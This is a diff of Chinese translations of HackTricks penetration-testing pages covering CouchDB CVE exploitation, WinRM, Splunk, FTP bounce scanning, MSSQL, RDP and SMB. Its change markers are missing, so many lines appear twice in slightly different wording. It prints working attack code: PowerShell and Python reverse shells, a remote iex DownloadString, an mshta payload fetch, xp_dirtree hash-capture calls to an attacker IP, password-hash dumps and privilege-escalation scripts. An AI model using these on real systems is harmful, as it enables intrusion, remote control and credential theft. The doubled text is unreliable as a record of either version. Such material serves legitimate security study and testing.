最初,预期的文件(`/tmp/0xdf`不存在这表明注入的命令尚未执行。进一步调查显示与CouchDB相关的进程正在运行其中包括一个可能执行注入命令的进程
最初,预期的文件(`/tmp/0xdf`不存在这表明注入的命令尚未执行。进一步调查显示与CouchDB相关的进程正在运行其中一个可能执行注入命令:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
通过终止识别出的CouchDB进程并允许系统自动重启它注入命令的执行被触发,这通过之前缺失文件的存在得以确认:
通过终止识别出的CouchDB进程并允许系统自动重启它触发了注入命令的执行,这通过之前缺失文件的存在得到了确认:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
此探索确认在特定条件下利用CVE-2018-8007的可行性特别是对可写访问`local.ini`文件的要求。提供的代码示例和程序步骤为在受控环境中复制该漏洞提供了清晰的指南。
此探索确认在特定条件下利用CVE-2018-8007的可行性特别是对`local.ini`文件的可写访问要求。提供的代码示例和程序步骤为在受控环境中复制该漏洞提供了清晰的指南。
有关CVE-2018-8007的更多详细信息请参阅mdsec的公告[CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/)。
### **使用对local.ini的写权限探索CVE-2017-12636**
### **在local.ini上具有写权限的CVE-2017-12636探索**
示例[来自这里](https://0xdf.gitlab.io/2018/09/15/htb-canape.html)。
探索了一个被称为CVE-2017-12636的漏洞该漏洞通过CouchDB进程启用代码执行尽管特定配置可能会阻止其利用。尽管在线有许多概念验证POC参考但在CouchDB版本2上利用该漏洞需要进行调整这与常见的目标版本1.x不同。初始步骤包括验证CouchDB版本并确认预期查询服务器路径的缺失
一个被称为CVE-2017-12636的漏洞被探索该漏洞通过CouchDB进程启用代码执行尽管特定配置可能会阻止其利用。尽管在线有许多概念验证POC参考但在CouchDB版本2上利用该漏洞需要进行调整这与常见的目标版本1.x不同。初始步骤包括验证CouchDB版本并确认预期查询服务器路径的缺失
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
@ -197,22 +197,22 @@ chmod 666 /home/homer/etc/local.ini
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
该过程继续创建数据库和文档,然后尝试通过映射到新添加的查询服务器的自定义视图执行代码:
该过程继续创建一个数据库和一个文档,然后尝试通过映射到新添加的查询服务器的自定义视图执行代码:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
一个[**摘要**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)与替代有效载荷提供了在特定条件下利用CVE-2017-12636的进一步见解。**有用资源**用于利用此漏洞包括:
一个[**总结**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)与替代有效载荷提供了在特定条件下利用CVE-2017-12636的进一步见解。**有用资源**用于利用此漏洞包括:
- [POC利用代码](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database条目](https://www.exploit-db.com/exploits/44913/)
- [POC exploit code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Exploit Database entry](https://www.exploit-db.com/exploits/44913/)
## Shodan
- `port:5984 couchdb`
## 参考文献
## References
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)

View File

@ -4,7 +4,7 @@
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被强调为 **微软** 的 **协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被强调为 **Microsoft 的协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。
机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开启情况:
@ -15,24 +15,24 @@
### **启动 WinRM 会话**
要为 WinRM 配置 PowerShell微软`Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
```powershell
要为 WinRM 配置 PowerShellMicrosoft `Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还需要注意的是,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步需要谨慎考虑其影响。还注意到,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。
此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下
```powershell
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
此方法允许远程设置 WinRM从而增强了远程管理 Windows 机器的灵活性。
这种方法允许远程设置 WinRM从而增强了从远程管理 Windows 机器的灵活性。
### 测试是否已配置
要验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
要验证攻击机器的设置,可以使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
- 对于**已**正确配置的目标,输出将类似于以下内容:
- 对于一个 **已** 正确配置的目标,输出将类似于以下内容:
```bash
Test-WSMan <target-ip>
```
@ -47,27 +47,27 @@ Test-WSMan <target-ip>
### 执行命令
要在目标机器上远程执行`ipconfig`并查看其输出,请执行:
```powershell
```bash
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../images/image (151).png>)
您还可以通过 _**Invoke-Command**_ **执行当前 PS 控制台的命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要在远程计算机上 **执行它**,您可以这样做:
```powershell
您还可以通过 _**Invoke-Command**_ **在当前 PS 控制台中执行命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要 **在远程计算机上执行它**,您可以这样做:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### 执行脚本
```powershell
```bash
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### 获取反向 shell
```powershell
```bash
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### 获取 PS 会话
要获取交互式 PowerShell shell请使用 `Enter-PSSession`
```powershell
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -89,14 +89,14 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **强制打开 WinRM**
要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它:
```powershell
要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它
```bash
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### 保存和恢复会话
如果远程计算机的 **语言****限制**,则此 **方法** **无效**。
```powershell
**将不起作用** 如果远程计算机的 **语言****限制**。
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
@ -108,7 +108,7 @@ $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessi
Enter-PSSession -Session $sess1
```
在此会话中,您可以使用 _Invoke-Command_ 加载 PS 脚本。
```powershell
```bash
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### 错误
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
尝试在客户端(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
尝试在客户端(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -146,7 +146,7 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
使用 evil-winrm 连接到 **IPv6 地址**,在 _**/etc/hosts**_ 中创建一个条目,将 **域名** 设置为 IPv6 地址并连接到该域名。
使用 evil-winrm 连接到 **IPv6 地址**,在 _**/etc/hosts**_ 中创建一个条目,将 **域名** 设置为 IPv6 地址并连接到该域名。
### 使用 evil-winrm 传递哈希
```ruby

View File

@ -22,7 +22,7 @@
2. 凭证弱点
- 旧版本:默认凭证 `admin:changeme`
- 新版本:安装时设置凭证
- 新版本:安装时设置凭证
- 可能使用弱密码(例如,`admin``Welcome``Password123`
3. 远程代码执行机会
@ -71,15 +71,15 @@ splunk_shell/
- 配置 10 秒的执行间隔
- 定义脚本的源类型
部署很简单:
部署过程很简单:
1. 创建恶意应用程序包
2. 在攻击机器上设置监听器 (Netcat/socat)
3. 通过 Splunk 的界面上传应用程序
4. 在上传触发自动脚本执行
4. 在上传触发自动脚本执行
示例 Windows PowerShell 反向 shell
```powershell
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
@ -93,7 +93,7 @@ $stream.Flush()
};
$client.Close()
```
示例 Linux Python 反向 shell:
样本 Linux Python 反向 shell:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
@ -103,7 +103,7 @@ s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & 权限提升
### RCE & Privilege Escalation
在以下页面中,您可以找到有关如何滥用此服务以提升权限和获得持久性的解释:
@ -111,7 +111,7 @@ pty.spawn('/bin/bash')
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## 参考
## References
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)

View File

@ -12,8 +12,8 @@
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. 使用 **`LIST`**(这将仅向连接的 _\<IP:Port>_ 发送FTP文件夹中当前文件的列表并检查可能的响应`150 File status okay`(这意味着端口是开放的)或 `425 No connection established`(这意味着端口是关闭的)
1. 除了 `LIST`,您还可以使用 **`RETR /file/in/ftp`** 并找类似的 `Open/Close` 响应。
3. 使用 **`LIST`**(这将仅向连接的 _\<IP:Port>_ 发送FTP文件夹中当前文件的列表并检查可能的响应 `150 File status okay`(这意味着端口是开放的)或 `425 No connection established`(这意味着端口是关闭的)
1. 除了 `LIST`,您还可以使用 **`RETR /file/in/ftp`** 并找类似的 `Open/Close` 响应。
使用 **PORT** 的示例172.32.80.80 的端口 8080 是开放的,端口 7777 是关闭的):

View File

@ -8,16 +8,16 @@
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。
**默认端口:** 1433
**默认端口** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **默认 MS-SQL 系统表**
- **master 数据库**: 该数据库至关重要,因为它捕获 SQL Server 实例的所有系统级细节。
- **master 数据库**: 该数据库至关重要,因为它捕获 SQL Server 实例的所有系统级细节。
- **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。
- **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 架构中逻辑上呈现。
- **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
## 枚举
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心如果你使用现有用户名多次登录失败可能会**锁定账户**。
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心如果你使用现有用户名多次登录失败可能会**锁定账户**。
#### Metasploit (需要凭据)
```bash
@ -159,10 +159,10 @@ SELECT * FROM sysusers
- **服务器** 示例包括数据库、登录、端点、可用性组和服务器角色。
- **数据库** 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
- **模式** 包括表、视图、过程、函数、同义词等。
2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE可以授予主体。权限管理发生在两个级
2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE可以授予主体。权限管理发生在两个级:
- **服务器级别** 使用登录
- **数据库级别** 使用用户
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或通过将登录和用户包含在具备访问权限的角色中来控制对可安全性的访问。
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限,或将登录和用户包含在具备访问权限的角色中来控制对可安全性的访问。
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
### Execute OS Commands
### 执行操作系统命令
> [!CAUTION]
> 请注意,为了能够执行命令,不仅需要**`xp_cmdshell`** **启用**,还需要对`xp_cmdshell`存储过程具有**EXECUTE权限**。您可以通过以下方式获取谁除了sysadmins可以使用**`xp_cmdshell`**
> 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还必须对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins可以使用 **`xp_cmdshell`**
>
> ```sql
> Use master
@ -234,9 +234,13 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### 获取哈希密码
```bash
SELECT * FROM master.sys.syslogins;
```
### Steal NetNTLM hash / Relay attack
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver``responder`)。
您应该启动一个 **SMB server** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver``responder`)。
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE
```
### **使用** OPENROWSET **读取文件**
默认情况下,`MSSQL` 允许对**操作系统中任何具有读取权限的文件进行读取**。我们可以使用以下 SQL 查询:
默认情况下,`MSSQL` 允许对**账户具有读取权限的操作系统中任何文件进行读取**。我们可以使用以下 SQL 查询:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -321,7 +325,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
```
### **RCE/读取文件执行脚本Python 和 R**
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由与使用 **xp_cmdshell** 执行命令的 **不同用户** 执行
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **不同的用户** 执行,而不是使用 **xp_cmdshell** 来执行命令的用户
尝试执行 **'R'** _"Hellow World!"_ **不工作**
@ -343,17 +347,17 @@ GO
```
### 读取注册表
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) 进行交互:
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:**
| **常规** | **实例感知** |
| --------------------------- | ---------------------------------- |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| **常规** | **实例感知** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
@ -438,7 +442,7 @@ public void Test()
### 从 db_owner 到 sysadmin
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin** **执行**
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**)执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -477,7 +481,7 @@ SELECT is_srvrolemember('sysadmin')
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
或一个 **PS** 脚本:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
@ -505,9 +509,9 @@ enum_links
use_link [NAME]
```
> [!NOTE]
> 如果您可以冒充一个用户,即使他不是 sysadmin您应该检查该用户是否有访问其他数据库或链接服务器的权限
请注意,一旦您成为 sysadmin您可以冒充任何其他用户
> 如果您可以冒充一个用户,即使他不是 sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器
>
> 请注意,一旦您成为 sysadmin您可以冒充任何其他用户
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -522,7 +526,7 @@ REVERT
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
```
或使用 **PS** 脚本:
```powershell
```bash
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
@ -543,7 +547,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。
3. 启用远程管理员连接。
为了自动化这些配置,[这个仓库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外,该仓库还提供了一个完整的脚本,结合了配置脚本以及密码的提取和解密。
为了自动化这些配置,[这个仓库](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)提供了所需的脚本。除了为每个配置步骤提供 PowerShell 脚本外,该仓库还包含一个完整的脚本,结合了配置脚本以及密码的提取和解密。
有关此攻击的更多信息,请参阅以下链接:[解密 MSSQL 数据库链接服务器密码](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)

View File

@ -17,7 +17,7 @@ PORT STATE SERVICE
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
它检查可用的加密和DoS漏洞在不对服务造成DoS的情况下并获取NTLM Windows信息版本
它检查可用的加密和DoS漏洞在不导致服务DoS的情况下并获取NTLM Windows信息版本
### [暴力破解](../generic-hacking/brute-force.md#rdp)
@ -76,11 +76,11 @@ ts::remote /id:2 #Connect to the session
结合此技术与 **stickykeys****utilman**,您将能够随时访问管理 CMD 和任何 RDP 会话。
您可以使用以下链接搜索已经通过这些技术后门的 RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
您可以使用以下链接搜索已经被这些技术后门化的 RDP[https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP 进程注入
如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC您可以 **注入** 您的信标到他的 **RDP 会话进程**并以他的身份行动:
如果来自不同域的某人或具有 **更高权限的用户通过 RDP 登录** 到您是管理员的 PC您可以 **注入** 您的信标到他的 **RDP 会话进程** 中并以他的身份行动:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -94,7 +94,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要用于自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一个特性)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的原生工具。
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- 从命令行以自动化方式控制鼠标和键盘
@ -103,6 +103,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- 在目标上执行任意 SHELL 和 PowerShell 命令,而无需上传文件
- 即使在目标上禁用文件传输,也可以上传和下载文件到/从目标
- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP)
此工具允许在受害者的 RDP 中 **无需图形界面** 执行命令。
## HackTricks 自动命令
```
Protocol_Name: RDP #Protocol Abbreviation if there is one.

View File

@ -4,23 +4,23 @@
## **Port 139**
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使应用程序、个人电脑和桌面计算机能够在局域网 (LAN) 内与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。
从技术上讲,端口 139 被称为“NBT over IP”而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,从而消除通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过 TCP/IP 使用 NetBIOS 的必要性,利用端口 445。相反,在不同的系统上,观察到使用端口 139这表明 SMB 正在与 TCP/IP 上的 NetBIOS 一起执行。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,允许运行较新版本微软操作系统的设备与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立** 服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立** 服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
### IPC$ Share
@ -40,7 +40,7 @@ enum4linux -a target_ip
## 什么是 NTLM
如果你不知道 NTLM 是什么,或者你想知道它是如何工作的以及如何利用它,你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
如果你不知道什么是 NTLM或者你想知道它是如何工作的以及如何利用它你会发现关于 **NTLM** 的这个页面非常有趣,其中解释了 **这个协议是如何工作的以及你如何可以利用它:**
{{#ref}}
../windows-hardening/ntlm/
@ -56,7 +56,7 @@ nbtscan -r 192.168.0.1/24
要查找可能针对 SMB 版本的漏洞,了解正在使用的版本非常重要。如果此信息未出现在其他使用的工具中,您可以:
- 使用 **MSF** 辅助模块 \_**auxiliary/scanner/smb/smb_version**
- 使用 **MSF** 辅助模块 _**auxiliary/scanner/smb/smb_version**_
- 或者这个脚本:
```bash
#!/bin/sh
@ -83,7 +83,7 @@ searchsploit microsoft smb
| **用户名** | **常见密码** |
| -------------------- | ----------------------------------------- |
| _(空白)_ | _(空白)_ |
| _(空白)_ | _(空白)_ |
| guest | _(空白)_ |
| Administrator, admin | _(空白)_, password, administrator, admin |
